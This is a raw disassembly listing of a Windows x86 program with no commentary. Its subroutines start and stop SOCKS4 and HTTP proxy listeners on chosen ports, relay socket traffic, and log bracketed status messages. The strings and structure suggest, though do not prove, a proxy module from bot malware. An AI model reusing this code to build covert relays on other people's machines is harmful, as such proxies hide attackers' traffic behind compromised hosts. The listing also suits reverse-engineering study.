dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh
dd 6A000000h, 848D5000h, 4A024h, 90515000h, 68B159E8h
dd 0FFF88371h, 0FE24840Fh, 3D8BFFFFh, 50F8D0h, 0D7FF056Ah
dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h
dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 36EE890h, 333D7169h
dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh
dd 0FC8C3D8Bh, 6A0050h, 9C248C8Dh, 56000004h, 0D7FF5251h
dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h
dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 31AE890h, 333D7169h
dd 75000027h, 90016A0Dh, 3F6E2FE8h, 0FE43E902h, 858BFFFFh
dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4291EF: ; CODE XREF: sub_4282C0+CA6j
or esi, 0FFFFFFFFh
loc_4291F2: ; CODE XREF: sub_4282C0+CC7j
mov al, [esp+0B8h+var_A7]
test al, al
jnz short loc_429212
mov edx, [ebp+0BFh]
push edx
nop
call near ptr 71AB9639h
mov [ebp+0BFh], esi
mov [esp+0BCh+var_AA], 1
loc_429212: ; CODE XREF: sub_4282C0+F38j
lea ecx, [esp+0BCh+var_34]
mov byte ptr [esp+0BCh+arg_53E0], 0Dh
call sub_401226
lea ecx, [esp+0BCh+var_5C]
mov byte ptr [esp+0BCh+arg_53E0], 0Ch
call sub_401226
lea ecx, [esp+0BCh+var_74]
mov byte ptr [esp+0BCh+arg_53E0], 2
call sub_401226
lea ecx, [esp+0BCh+var_8C]
mov byte ptr [esp+0BCh+arg_53E0], 1
call sub_401226
lea ecx, [esp+0BCh+var_A8]
mov byte ptr [esp+0BCh+arg_53E0], 0
call sub_401226
lea ecx, [esp+0BCh+var_4]
mov [esp+0BCh+arg_53E0], esi
call sub_4014B0
or esi, 0FFFFFFFFh
loc_429280: ; CODE XREF: sub_4282C0+EBj
mov al, [esp+0BCh+var_AA]
test al, al
jz loc_4282F8
loc_42928C: ; CODE XREF: sub_4282C0+1074j
; sub_4282C0+11CDj
mov al, [ebp+0BAh]
test al, al
jz short loc_4292A9
mov eax, [ebp+0BBh]
push eax
nop
call near ptr 71AB9639h
mov [ebp+0BBh], esi
loc_4292A9: ; CODE XREF: sub_4282C0+FD4j
mov al, [esp+11h]
test al, al
jz short loc_4292C4
mov ecx, [ebp+0BFh]
push ecx
nop
call near ptr 71AB9639h
mov [ebp+0BFh], esi
loc_4292C4: ; CODE XREF: sub_4282C0+FEFj
; sub_4282C0+1255j
mov ecx, [esp+0C4h+arg_53D0]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 5494h
retn
; ---------------------------------------------------------------------------
loc_4292DD: ; CODE XREF: sub_4282C0+40Aj
lea ecx, [esp+1Ch+arg_40]
mov byte ptr [esp+1Ch+arg_5480], 0Ch
call sub_401226
loc_4292EE: ; CODE XREF: sub_4282C0+3D7j
lea ecx, [esp+1Ch+arg_28]
mov byte ptr [esp+1Ch+arg_5480], 2
call sub_401226
loc_4292FF: ; CODE XREF: sub_4282C0+191j
; sub_4282C0+1AAj ...
lea ecx, [esp+1Ch+arg_10]
mov byte ptr [esp+1Ch+arg_5480], 1
call sub_401226
loc_429310: ; CODE XREF: sub_4282C0+85j
lea ecx, [esp+1Ch+var_8]
mov byte ptr [esp+1Ch+arg_5480], 0
call sub_401226
lea ecx, [esp+1Ch+arg_98]
mov [esp+1Ch+arg_5480], esi
call sub_4014B0
jmp loc_42928C
; ---------------------------------------------------------------------------
loc_429339: ; CODE XREF: sub_4282C0+503j
mov eax, [ebp+0BBh]
push eax
nop
call near ptr 71AB9639h
jmp loc_4294AA
; ---------------------------------------------------------------------------
loc_42934B: ; CODE XREF: sub_4282C0+644j
lea ecx, [esp+2Ch+arg_9D]
call sub_4017E4
push eax
lea ecx, [esp+30h+var_18]
push offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
push ecx
call sub_40102D
add esp, 0Ch
lea ecx, [esp+2Ch+var_18]
push 0
call sub_4013D9
push eax
lea ecx, [esp+34h+var_18]
call sub_4017E4
mov edx, [ebp+0BBh]
push eax
push edx
nop
call near ptr 71AB428Ah
mov eax, [ebp+0BBh]
mov esi, dword_50FC88
push eax
call esi
mov ecx, [ebp+0BFh]
push ecx
jmp loc_4294A8
; ---------------------------------------------------------------------------
loc_4293A8: ; CODE XREF: sub_4282C0+660j
mov edx, [esp+38h+arg_D0]
lea ecx, [esp+38h+arg_91]
push edx
call sub_4017E4
push eax
lea eax, [esp+40h+var_24]
push offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
push eax
call sub_40102D
add esp, 10h
lea ecx, [esp+38h+var_24]
push 0
call sub_4013D9
push eax
lea ecx, [esp+40h+var_24]
call sub_4017E4
mov ecx, [ebp+0BBh]
push eax
push ecx
nop
call near ptr 71AB428Ah
loc_4293F2: ; CODE XREF: sub_4282C0+711j
; sub_4282C0+719j
mov edx, [ebp+0BBh]
mov esi, dword_50FC88
push edx
call esi
mov eax, [ebp+0BFh]
push eax
jmp loc_4294A8
; ---------------------------------------------------------------------------
loc_42940D: ; CODE XREF: sub_4282C0+5EEj
mov ecx, [ebp+0BBh]
push ecx
nop
call near ptr 71AB9639h
jmp loc_4294AA
; ---------------------------------------------------------------------------
loc_42941F: ; CODE XREF: sub_4282C0+73Fj
lea ecx, [esp+48h+arg_3C]
mov byte ptr [esp+48h+arg_5454], 0Dh
call sub_401226
lea ecx, [esp+48h+arg_14]
mov byte ptr [esp+48h+arg_5454], 0Ch
call sub_401226
lea ecx, [esp+48h]
mov byte ptr [esp+48h+arg_5454], 2
call sub_401226
lea ecx, [esp+48h+var_18]
mov byte ptr [esp+48h+arg_5454], 1
call sub_401226
lea ecx, [esp+48h+var_34]
mov byte ptr [esp+48h+arg_5454], 0
call sub_401226
lea ecx, [esp+48h+arg_6C]
mov [esp+48h+arg_5454], ebx
call sub_4014B0
or esi, 0FFFFFFFFh
jmp loc_42928C
; ---------------------------------------------------------------------------
loc_429492: ; CODE XREF: sub_4282C0+D45j
; sub_4282C0+D4Dj
mov ecx, [ebp+0BBh]
mov esi, dword_50FC88
push ecx
call esi
mov edx, [ebp+0BFh]
push edx
loc_4294A8: ; CODE XREF: sub_4282C0+10E3j
; sub_4282C0+1148j
call esi
loc_4294AA: ; CODE XREF: sub_4282C0+1086j
; sub_4282C0+115Aj
lea ecx, [esp+50h+arg_34]
mov byte ptr [esp+50h+arg_544C], 0Dh
call sub_401226
lea ecx, [esp+50h+arg_C]
mov byte ptr [esp+50h+arg_544C], 0Ch
call sub_401226
lea ecx, [esp+50h+var_8]
mov byte ptr [esp+50h+arg_544C], 2
call sub_401226
lea ecx, [esp+50h+var_20]
mov byte ptr [esp+50h+arg_544C], 1
call sub_401226
lea ecx, [esp+50h+var_3C]
mov byte ptr [esp+50h+arg_544C], 0
call sub_401226
lea ecx, [esp+50h+arg_64]
mov [esp+50h+arg_544C], ebx
call sub_4014B0
jmp loc_4292C4
sub_4282C0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 4A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4299C0 proc near ; CODE XREF: sub_4018DEj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4299C0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F82
push offset aHttp_0 ; "HTTP"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43E15C
call sub_4015D7
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4299C0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_429A30: ; CODE XREF: ___:loc_40112Cj
; ___:0040128Fj
push esi
mov esi, ecx
call sub_402108
test byte ptr [esp+8], 1
jz short loc_429A48
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_429A48: ; CODE XREF: ___:00429A3Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429A60 proc near ; CODE XREF: sub_402108j
push esi
mov esi, ecx
mov eax, [esi+9Eh]
mov dword ptr [esi], offset off_43E15C
cmp eax, 0FFFFFFFFh
jz short loc_429A7B
push eax
nop
call near ptr 71AB9639h
loc_429A7B: ; CODE XREF: sub_429A60+12j
mov ecx, esi
call sub_40179E
pop esi
retn
sub_429A60 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429AA0 proc near ; CODE XREF: sub_4010E1j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_429AA0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push edi
mov edi, ecx
mov dword ptr [edi+9Eh], 0FFFFFFFFh
loc_429AC3: ; CODE XREF: sub_429AA0+48j
mov eax, [edi+99h]
mov cl, [eax+11Ch]
test cl, cl
jz short loc_429AEA
mov ecx, [edi+3Bh]
push ecx
call sub_40197E
add esp, 4
cmp eax, 0FFFFFFFFh
mov [edi+9Eh], eax
jz short loc_429AC3
loc_429AEA: ; CODE XREF: sub_429AA0+31j
mov edx, [edi+99h]
mov al, [edx+11Ch]
test al, al
jz loc_429BBC
push ebp
push esi
loc_429B00: ; CODE XREF: sub_429AA0+114j
mov eax, [edi+9Eh]
push eax
call sub_4012DF
mov ebp, eax
add esp, 4
cmp ebp, 0FFFFFFFFh
jz loc_429B9B
test ebp, ebp
jz short loc_429B9B
push 0C3h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+1Ch+var_10], eax
test eax, eax
mov [esp+1Ch+var_4], 0
jz short loc_429B46
mov ecx, eax
call sub_401884
mov esi, eax
jmp short loc_429B48
; ---------------------------------------------------------------------------
loc_429B46: ; CODE XREF: sub_429AA0+99j
xor esi, esi
loc_429B48: ; CODE XREF: sub_429AA0+A4j
mov ecx, [edi+99h]
mov [esi+9Dh], edi
mov [esi+99h], ecx
mov edx, [edi+3Bh]
lea eax, [edi+26h]
lea ecx, [esi+26h]
push eax
mov [esp+20h+var_4], 0FFFFFFFFh
mov [esi+3Bh], edx
mov [esi+0BBh], ebp
call sub_401FBE
mov cl, [edi+97h]
mov [esi+97h], cl
mov dl, [edi+98h]
mov ecx, esi
mov [esi+98h], dl
call sub_4013D4
jmp short loc_429BA6
; ---------------------------------------------------------------------------
loc_429B9B: ; CODE XREF: sub_429AA0+74j
; sub_429AA0+7Cj
push 0FAh
nop
call near ptr 2820000h
loc_429BA6: ; CODE XREF: sub_429AA0+F9j
mov eax, [edi+99h]
mov cl, [eax+11Ch]
test cl, cl
jnz loc_429B00
pop esi
pop ebp
loc_429BBC: ; CODE XREF: sub_429AA0+58j
mov edi, [edi+9Eh]
cmp edi, 0FFFFFFFFh
jz short loc_429BCE
push edi
nop
call near ptr 71AB9639h
loc_429BCE: ; CODE XREF: sub_429AA0+125j
mov ecx, [esp+14h+var_C]
pop edi
mov large fs:0, ecx
add esp, 10h
retn
sub_429AA0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429C30 proc near ; CODE XREF: sub_40137Aj
push ebx
push esi
mov esi, ecx
push edi
mov al, [esi+9Dh]
lea edi, [esi+11h]
test al, al
mov eax, [esi+3Bh]
lea ebx, [esi+26h]
push eax
mov ecx, edi
jz short loc_429C58
call sub_4017E4
push eax
push offset aSStartingProxy ; "[%s] Starting proxy on %d with SSL."
jmp short loc_429C63
; ---------------------------------------------------------------------------
loc_429C58: ; CODE XREF: sub_429C30+19j
call sub_4017E4
push eax
push offset aSStartingPro_0 ; "[%s] Starting proxy on port %d."
loc_429C63: ; CODE XREF: sub_429C30+26j
mov ecx, ebx
call sub_4014D3
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D60A5
call sub_401848
add esp, 1Ch
mov ecx, esi
call sub_4010E1
mov eax, [esi+3Bh]
mov ecx, edi
push eax
call sub_4017E4
push eax
push offset aSUnloadedProxy ; "[%s] Unloaded proxy on port %d."
mov ecx, ebx
call sub_4014D3
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D60A5
call sub_401848
add esp, 1Ch
pop edi
pop esi
pop ebx
retn
sub_429C30 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429D00 proc near ; CODE XREF: sub_40211Cj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_429D00
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F82
push offset aSocks4 ; "Socks4"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43E16C
call sub_4015D7
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_429D00 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_429D70: ; CODE XREF: ___:00401870j
; ___:loc_401B04j
push esi
mov esi, ecx
call sub_401F87
test byte ptr [esp+8], 1
jz short loc_429D88
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_429D88: ; CODE XREF: ___:00429D7Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_429DA0 proc near ; CODE XREF: sub_401F87j
jmp sub_40179E
sub_429DA0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429DC0 proc near ; CODE XREF: sub_4010AFj
var_81D = byte ptr -81Dh
var_81C = dword ptr -81Ch
var_818 = dword ptr -818h
var_814 = dword ptr -814h
var_810 = dword ptr -810h
var_80C = dword ptr -80Ch
var_808 = byte ptr -808h
var_807 = byte ptr -807h
var_806 = word ptr -806h
var_804 = dword ptr -804h
var_800 = byte ptr -800h
var_400 = byte ptr -400h
sub esp, 820h
lea eax, [esp+820h+var_81D]
push ebx
push ebp
push esi
mov esi, dword_50FC90
mov ebp, ecx
push edi
push 0
push 1
mov ecx, [ebp+0A1h]
push eax
push ecx
call esi
cmp eax, 1
jge short loc_429E01
mov edx, [ebp+0A1h]
push edx
call near ptr 71AB9639h
nop
pop edi
pop esi
pop ebp
pop ebx
add esp, 820h
retn
; ---------------------------------------------------------------------------
loc_429E01: ; CODE XREF: sub_429DC0+27j
cmp [esp+830h+var_81D], 4
jnz loc_429FEC
mov ecx, [ebp+0A1h]
push 0
lea eax, [esp+834h+var_807]
push 406h
push eax
push ecx
call esi
cmp eax, 1
jge short loc_429E3E
mov edx, [ebp+0A1h]
push edx
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
pop ebx
add esp, 820h
retn
; ---------------------------------------------------------------------------
loc_429E3E: ; CODE XREF: sub_429DC0+64j
cmp [esp+830h+var_807], 1
jnz loc_429FEC
mov cx, [esp+830h+var_806]
mov edx, [esp+830h+var_804]
xor eax, eax
push 6
mov [esp+834h+var_818], eax
push 1
mov [esp+838h+var_814], eax
push 2
mov [esp+83Ch+var_810], eax
mov word ptr [esp+83Ch+var_818], 2
mov [esp+83Ch+var_80C], eax
mov word ptr [esp+83Ch+var_818+2], cx
mov [esp+83Ch+var_814], edx
nop
call near ptr 71AB3B91h
mov ebx, eax
lea eax, [esp+830h+var_818]
push 10h
push eax
push ebx
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
mov [esp+830h+var_808], 0
jnz short loc_429ED9
mov edx, [ebp+0A1h]
mov ecx, 100h
xor eax, eax
lea edi, [esp+830h+var_800]
mov [esp+830h+var_807], 5Bh
push eax
rep stosd
lea ecx, [esp+834h+var_808]
push 8
push ecx
push edx
nop
call near ptr 71AB428Ah
mov eax, [ebp+0A1h]
push eax
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
pop ebx
add esp, 820h
retn
; ---------------------------------------------------------------------------
loc_429ED9: ; CODE XREF: sub_429DC0+D8j
mov edx, [ebp+0A1h]
mov ecx, 100h
xor eax, eax
lea edi, [esp+830h+var_800]
mov [esp+830h+var_807], 5Ah
push eax
rep stosd
lea ecx, [esp+834h+var_808]
push 8
push ecx
push edx
call near ptr 71AB428Ah
nop
mov ecx, [ebp+0A1h]
mov esi, dword_50FC50
lea eax, [esp+830h+var_81C]
mov [esp+830h+var_81C], 1
push eax
push 8004667Eh
push ecx
call esi
lea edx, [esp+830h+var_81C]
mov [esp+830h+var_81C], 1
push edx
push 8004667Eh
push ebx
call esi
loc_429F36: ; CODE XREF: sub_429DC0+1AFj
; sub_429DC0+1FEj ...
mov edi, dword_50FC90
push 0
lea eax, [esp+834h+var_400]
push 400h
push eax
push ebx
call edi
mov esi, eax
test esi, esi
jz loc_429FDA
jge short loc_429F71
nop
call near ptr 71AB94DCh
cmp eax, 2733h
jz short loc_429F71
push 0Ah
nop
call near ptr 2820000h
jmp short loc_429F36
; ---------------------------------------------------------------------------
loc_429F71: ; CODE XREF: sub_429DC0+198j
; sub_429DC0+1A5j
mov edx, [ebp+0A1h]
push 0
lea ecx, [esp+834h+var_400]
push esi
push ecx
push edx
nop
call near ptr 71AB428Ah
mov ecx, [ebp+0A1h]
push 0
lea eax, [esp+834h+var_400]
push 400h
push eax
push ecx
call edi
mov esi, eax
test esi, esi
jz short loc_429FDA
jge short loc_429FC3
nop
call near ptr 71AB94DCh
cmp eax, 2733h
jz short loc_429FC3
push 0Ah
call near ptr 2820000h
nop
jmp loc_429F36
; ---------------------------------------------------------------------------
loc_429FC3: ; CODE XREF: sub_429DC0+1E7j
; sub_429DC0+1F4j
push 0
lea edx, [esp+834h+var_400]
push esi
push edx
push ebx
nop
call near ptr 71AB428Ah
jmp loc_429F36
; ---------------------------------------------------------------------------
loc_429FDA: ; CODE XREF: sub_429DC0+192j
; sub_429DC0+1E5j
mov eax, [ebp+0A1h]
mov esi, dword_50FC88
push eax
call esi
push ebx
call esi
loc_429FEC: ; CODE XREF: sub_429DC0+46j
; sub_429DC0+83j
pop edi
pop esi
pop ebp
pop ebx
add esp, 820h
retn
sub_429DC0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42A090 proc near ; CODE XREF: sub_40216Cj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42A090
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F82
push offset aSocks4 ; "Socks4"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43E17C
call sub_4015D7
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_42A090 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42A100 proc near ; CODE XREF: ___:00401032j sub_4017A8j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401C3A
test [esp+4+arg_0], 1
jz short loc_42A118
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_42A118: ; CODE XREF: sub_42A100+Dj
mov eax, esi
pop esi
retn 4
sub_42A100 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42A130 proc near ; CODE XREF: sub_401C3Aj
jmp sub_40179E
sub_42A130 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42A150 proc near ; CODE XREF: sub_40188Ej
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_42A150
push eax
mov large fs:0, esp
sub esp, 28h
push ebx
push esi
mov esi, ecx
mov eax, [esi+3Bh]
lea ecx, [esi+11h]
push eax
lea ebx, [esi+26h]
call sub_4017E4
push eax
push offset aSStartingSocks ; "[%s] Starting Socks4 Proxy on port %d."
mov ecx, ebx
call sub_4014D3
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D60A5
call sub_401848
add esp, 1Ch
push 6
push 1
push 2
call near ptr 71AB3B91h
nop
cmp eax, 0FFFFFFFFh
mov [esi+9Dh], eax
jz loc_42A359
mov cx, [esi+3Bh]
xor eax, eax
mov [esp+3Ch+var_2C], eax
push ecx
mov [esp+40h+var_28], eax
mov word ptr [esp+40h+var_2C], 2
mov [esp+40h+var_24], eax
mov [esp+40h+var_20], eax
nop
call near ptr 71AB2B66h
mov word ptr [esp+3Ch+var_2C+2], ax
mov eax, [esi+9Dh]
lea edx, [esp+3Ch+var_2C]
push 10h
push edx
push eax
mov [esp+48h+var_34], 10h
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_42A226
mov ecx, [esi+9Dh]
push ecx
call near ptr 71AB9639h
nop
pop esi
pop ebx
mov ecx, [esp+34h+var_C]
mov large fs:0, ecx
add esp, 34h
retn
; ---------------------------------------------------------------------------
loc_42A226: ; CODE XREF: sub_42A150+B6j
mov edx, [esi+99h]
push ebp
push edi
mov al, [edx+11Ch]
test al, al
jz loc_42A310
loc_42A23C: ; CODE XREF: sub_42A150+1BAj
mov eax, [esi+9Dh]
push 0Ah
push eax
nop
call near ptr 71AB88D3h
cmp eax, 0FFFFFFFFh
jnz short loc_42A260
push 0FAh
nop
call near ptr 2820000h
jmp loc_42A2FC
; ---------------------------------------------------------------------------
loc_42A260: ; CODE XREF: sub_42A150+FEj
mov eax, [esi+9Dh]
lea ecx, [esp+40h+var_30]
lea edx, [esp+40h+var_18]
push ecx
push edx
push eax
call near ptr 71AC1028h
nop
mov ebp, eax
cmp ebp, 0FFFFFFFFh
jz loc_42A310
xor edi, edi
cmp ebp, edi
jz loc_42A310
push 0A5h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+44h+var_30], eax
cmp eax, edi
mov [esp+44h+var_4], edi
jz short loc_42A2AE
mov ecx, eax
call sub_40211C
mov edi, eax
loc_42A2AE: ; CODE XREF: sub_42A150+153j
mov ecx, [esi+99h]
mov [edi+9Dh], esi
mov [edi+99h], ecx
mov edx, [esi+3Bh]
push ebx
lea ecx, [edi+26h]
mov [esp+48h+var_4], 0FFFFFFFFh
mov [edi+3Bh], edx
mov [edi+0A1h], ebp
call sub_401FBE
mov al, [esi+97h]
mov [edi+97h], al
mov cl, [esi+98h]
mov [edi+98h], cl
mov ecx, edi
call sub_4013D4
loc_42A2FC: ; CODE XREF: sub_42A150+10Bj
mov edx, [esi+99h]
mov al, [edx+11Ch]
test al, al
jnz loc_42A23C
loc_42A310: ; CODE XREF: sub_42A150+E6j
; sub_42A150+12Cj ...
mov eax, [esi+9Dh]
pop edi
cmp eax, 0FFFFFFFFh
pop ebp
jz short loc_42A324
push eax
nop
call near ptr 71AB9639h
loc_42A324: ; CODE XREF: sub_42A150+1CBj
mov eax, [esi+3Bh]
lea ecx, [esi+11h]
push eax
call sub_4017E4
push eax
push offset aSUnloadedPro_0 ; "[%s] Unloaded proxy on %d."
mov ecx, ebx
call sub_4014D3
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D60A5
call sub_401848
add esp, 1Ch
loc_42A359: ; CODE XREF: sub_42A150+69j
mov ecx, [esp+3Ch+var_C]
pop esi
pop ebx
mov large fs:0, ecx
add esp, 34h
retn
sub_42A150 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42A400 proc near ; CODE XREF: sub_40174Ej
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
nop
call near ptr 71AB4FD4h
test eax, eax
jz short loc_42A421
mov ecx, [eax+0Ch]
mov edx, [ecx]
mov ecx, [esp+arg_4]
mov eax, [edx]
mov [ecx], eax
mov al, 1
retn 8
; ---------------------------------------------------------------------------
loc_42A421: ; CODE XREF: sub_42A400+Dj
xor al, al
retn 8
sub_42A400 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42A440 proc near ; CODE XREF: sub_4020C2j
var_50C = dword ptr -50Ch
var_508 = dword ptr -508h
var_504 = dword ptr -504h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
var_400 = byte ptr -400h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 50Ch
push ebx
mov ebx, [esp+510h+arg_4]
push ebp
push esi
push edi
mov [esp+51Ch+var_50C], 0
mov [esp+51Ch+var_508], 0
loc_42A461: ; CODE XREF: sub_42A440+12Cj
mov ebp, [esp+51Ch+arg_0]
mov [esp+51Ch+var_504], 1
mov [esp+51Ch+var_500], ebp
xor eax, eax
lea ecx, [esp+51Ch+var_500]
loc_42A47A: ; CODE XREF: sub_42A440+45j
cmp [ecx], ebx
jz short loc_42A487
inc eax
add ecx, 4
cmp eax, 1
jb short loc_42A47A
loc_42A487: ; CODE XREF: sub_42A440+3Cj
cmp eax, 1
jnz short loc_42A498
mov [esp+51Ch+var_4FC], ebx
mov [esp+51Ch+var_504], 2
loc_42A498: ; CODE XREF: sub_42A440+4Aj
lea eax, [esp+51Ch+var_50C]
lea ecx, [esp+51Ch+var_504]
push eax
push 0
push 0
push ecx
push 2
call near ptr 71AB2DC0h
nop
test eax, eax
jbe short loc_42A523
cmp eax, 0FFFFFFFFh
jz short loc_42A523
lea edx, [esp+51Ch+var_504]
push edx
push ebp
call sub_436F60
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_42A4CC
mov eax, ebp
mov ebp, ebx
jmp short loc_42A4CE
; ---------------------------------------------------------------------------
loc_42A4CC: ; CODE XREF: sub_42A440+84j
mov eax, ebx
loc_42A4CE: ; CODE XREF: sub_42A440+8Aj
push 0
lea ecx, [esp+520h+var_400]
push 3FFh
push ecx
push eax
nop
call near ptr 71AB615Ah
mov edi, eax
xor esi, esi
cmp edi, 0FFFFFFFFh
mov [esp+edi+51Ch+var_400], 0
jz short loc_42A572
test edi, edi
jz short loc_42A572
jbe short loc_42A51C
loc_42A4FB: ; CODE XREF: sub_42A440+DAj
mov edx, edi
push 0
sub edx, esi
lea eax, [esp+esi+520h+var_400]
push edx
push eax
push ebp
call near ptr 71AB428Ah
nop
cmp eax, 0FFFFFFFFh
jz short loc_42A572
add esi, eax
cmp esi, edi
jb short loc_42A4FB
loc_42A51C: ; CODE XREF: sub_42A440+B9j
mov ebp, [esp+51Ch+arg_0]
loc_42A523: ; CODE XREF: sub_42A440+70j
; sub_42A440+75j
mov [esp+51Ch+var_500], ebp
mov [esp+51Ch+var_504], 1
xor eax, eax
lea ecx, [esp+51Ch+var_500]
loc_42A535: ; CODE XREF: sub_42A440+100j
cmp [ecx], ebx
jz short loc_42A542
inc eax
add ecx, 4
cmp eax, 1
jb short loc_42A535
loc_42A542: ; CODE XREF: sub_42A440+F7j
cmp eax, 1
jnz short loc_42A554
mov [esp+eax*4+51Ch+var_500], ebx
mov eax, [esp+51Ch+var_504]
inc eax
mov [esp+51Ch+var_504], eax
loc_42A554: ; CODE XREF: sub_42A440+105j
lea ecx, [esp+51Ch+var_50C]
lea edx, [esp+51Ch+var_504]
push ecx
push edx
push 0
push 0
push 2
nop
call near ptr 71AB2DC0h
test eax, eax
jle loc_42A461
loc_42A572: ; CODE XREF: sub_42A440+B3j
; sub_42A440+B7j ...
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 50Ch
retn 8
sub_42A440 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42A5F0 proc near ; CODE XREF: sub_401C1Cj
var_51C = word ptr -51Ch
var_51A = word ptr -51Ah
var_518 = dword ptr -518h
var_50C = dword ptr -50Ch
var_508 = dword ptr -508h
var_504 = dword ptr -504h
var_500 = dword ptr -500h
var_400 = dword ptr -400h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 51Ch
push ebx
push ebp
mov ebp, [esp+524h+arg_4]
push esi
push edi
mov edx, ecx
movsx eax, byte ptr [ebp+3]
dec eax
mov [esp+52Ch+var_508], 0
mov [esp+52Ch+var_50C], 7
mov [esp+52Ch+var_51C], 2
jz short loc_42A68F
dec eax
jz short loc_42A63A
dec eax
